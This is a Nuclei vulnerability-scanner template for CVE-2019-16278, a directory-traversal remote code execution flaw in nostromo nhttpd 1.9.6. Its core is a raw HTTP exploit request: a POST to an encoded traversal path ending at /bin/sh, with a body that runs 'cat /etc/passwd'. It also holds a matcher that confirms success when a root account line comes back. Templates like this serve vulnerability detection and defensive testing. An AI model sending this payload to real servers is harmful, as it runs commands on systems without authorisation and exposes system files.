nuclei-templates/cves/2019/CVE-2019-16278.yaml

36 lines
961 B
YAML

id: CVE-2019-16278
info:
name: nostromo 1.9.6 - Remote Code Execution
author: pikpikcu
severity: critical
description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify.
reference:
- https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html
- https://www.exploit-db.com/raw/47837
- https://nvd.nist.gov/vuln/detail/CVE-2019-16278
- http://www.nazgul.ch/dev/nostromo_cl.txt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-16278
cwe-id: CWE-22
tags: cve,cve2019,rce
requests:
- raw:
- |
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host: {{Hostname}}
echo
echo
cat /etc/passwd 2>&1
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# Enhanced by mp on 2022/03/29